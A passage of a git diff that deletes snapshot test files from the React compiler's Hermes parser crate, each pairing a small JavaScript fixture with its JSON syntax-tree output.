-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    156,
-                    157
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "typeof",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        167,
-                        168
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        169,
-                        170
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      167,
-                      170
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    160,
-                    170
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  156,
-                  170
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              152,
-              171
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      183,
-                      184
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      183,
-                      184
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    183,
-                    184
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "p",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      186,
-                      187
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "p",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      186,
-                      187
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    186,
-                    187
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "q",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      189,
-                      190
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "q",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      189,
-                      190
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    189,
-                    190
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "n",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      192,
-                      193
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "n",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      192,
-                      193
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    192,
-                    193
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "m",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "m",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    195,
-                    196
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "e",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      199
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "e",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      199
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    198,
-                    199
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "f",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      201,
-                      202
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "f",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      201,
-                      202
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    201,
-                    202
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                181,
-                204
-              ]
-            },
-            "loc": null,
-            "range": [
-              174,
-              205
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          207
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        207
-      ],
-      "loc": null,
-      "range": [
-        0,
-        207
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    207
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unconditional-break-label.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unconditional-break-label.js.snap
deleted file mode 100644
index e555ca59e68b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unconditional-break-label.js.snap
+++ /dev/null
@@ -1,233 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unconditional-break-label.js
----
-Input:
-function foo(a) {
-  let x = 0;
-  bar: {
-    x = 1;
-    break bar;
-  }
-  return a + x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    24,
-                    25
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  24,
-                  29
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              30
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "bar",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                33,
-                36
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        44,
-                        45
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        48,
-                        49
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      44,
-                      49
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    50
-                  ]
-                },
-                {
-                  "type": "BreakStatement",
-                  "label": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      61,
-                      64
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    55,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                69
-              ]
-            },
-            "loc": null,
-            "range": [
-              33,
-              69
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  79,
-                  80
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  83,
-                  84
-                ]
-              },
-              "loc": null,
-              "range": [
-                79,
-                84
-              ]
-            },
-            "loc": null,
-            "range": [
-              72,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        87
-      ],
-      "loc": null,
-      "range": [
-        0,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@uninitialized-declaration-in-reactive-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@uninitialized-declaration-in-reactive-scope.js.snap
deleted file mode 100644
index b91b73e5bf9e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@uninitialized-declaration-in-reactive-scope.js.snap
+++ /dev/null
@@ -1,228 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/uninitialized-declaration-in-reactive-scope.js
----
-Input:
-function Component(props) {
-  let x = mutate();
-  let y;
-  foo(x);
-  return [y, x];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "mutate",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      44
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  54,
-                  55
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  62
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                59,
-                65
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              66
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unknown-hooks-do-not-assert.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unknown-hooks-do-not-assert.js.snap
deleted file mode 100644
index 7f6c73add1f5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unknown-hooks-do-not-assert.js.snap
+++ /dev/null
@@ -1,214 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unknown-hooks-do-not-assert.js
----
-Input:
-// Forget currently bails out when it detects a potential mutation (Effect.Mutate)
-// to an immutable value. This should not apply to unknown / untyped hooks.
-
-// Default feature flags:
-// enableAssumeHooksFollowRulesOfReact=false
-// enableTreatHooksAsFunctions=true
-function Component(props) {
-  const x = useUnknownHook1(props);
-  const y = useUnknownHook2(x);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          276,
-          285
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            286,
-            291
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    303,
-                    304
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useUnknownHook1",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      307,
-                      322
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        323,
-                        328
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    307,
-                    329
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  303,
-                  329
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              297,
-              330
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    339,
-                    340
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useUnknownHook2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      343,
-                      358
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        359,
-                        360
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    343,
-                    361
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  339,
-                  361
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              333,
-              362
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                372,
-                373
-              ]
-            },
-            "loc": null,
-            "range": [
-              365,
-              374
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          293,
-          376
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        267,
-        376
-      ],
-      "loc": null,
-      "range": [
-        267,
-        376
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    267,
-    376
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-middle-element.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-middle-element.js.snap
deleted file mode 100644
index 0f3c67d33eb3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-middle-element.js.snap
+++ /dev/null
@@ -1,196 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-array-middle-element.js
----
-Input:
-function foo(props) {
-  const [x, unused, y] = props.a;
-  return x + y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        31,
-                        32
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "unused",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        34,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      47,
-                      52
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      53,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    47,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  65,
-                  66
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  69,
-                  70
-                ]
-              },
-              "loc": null,
-              "range": [
-                65,
-                70
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              71
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          73
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        73
-      ],
-      "loc": null,
-      "range": [
-        0,
-        73
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    73
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-rest-element.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-rest-element.js.snap
deleted file mode 100644
index e6d76c86cf9c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-array-rest-element.js.snap
+++ /dev/null
@@ -1,204 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-array-rest-element.js
----
-Input:
-function foo(props) {
-  const [x, y, ...z] = props.a;
-  return x + y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        31,
-                        32
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        34,
-                        35
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          40,
-                          41
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        37,
-                        41
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      52
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              53
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  64
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  67,
-                  68
-                ]
-              },
-              "loc": null,
-              "range": [
-                63,
-                68
-              ]
-            },
-            "loc": null,
-            "range": [
-              56,
-              69
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          71
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        71
-      ],
-      "loc": null,
-      "range": [
-        0,
-        71
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    71
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-conditional.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-conditional.js.snap
deleted file mode 100644
index 36e907d6c366..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-conditional.js.snap
+++ /dev/null
@@ -1,202 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-conditional.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  (x = 1) && (x = 2);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "LogicalExpression",
-              "operator": "&&",
-              "left": {
-                "type": "AssignmentExpression",
-                "operator": "=",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  49
-                ]
-              },
-              "right": {
-                "type": "AssignmentExpression",
-                "operator": "=",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                43,
-                61
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              62
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                72,
-                73
-              ]
-            },
-            "loc": null,
-            "range": [
-              65,
-              74
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          76
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        76
-      ],
-      "loc": null,
-      "range": [
-        0,
-        76
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    76
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical-assigned-to-variable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical-assigned-to-variable.js.snap
deleted file mode 100644
index 74c1ef0013e3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical-assigned-to-variable.js.snap
+++ /dev/null
@@ -1,320 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-logical-assigned-to-variable.js
----
-Input:
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const obj2 = makeObject();
-  const _ = (obj.a ?? obj2.b) || props.c;
-  return null;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "obj",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      65
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    55,
-                    67
-                  ]
-                },
-                "loc": null,
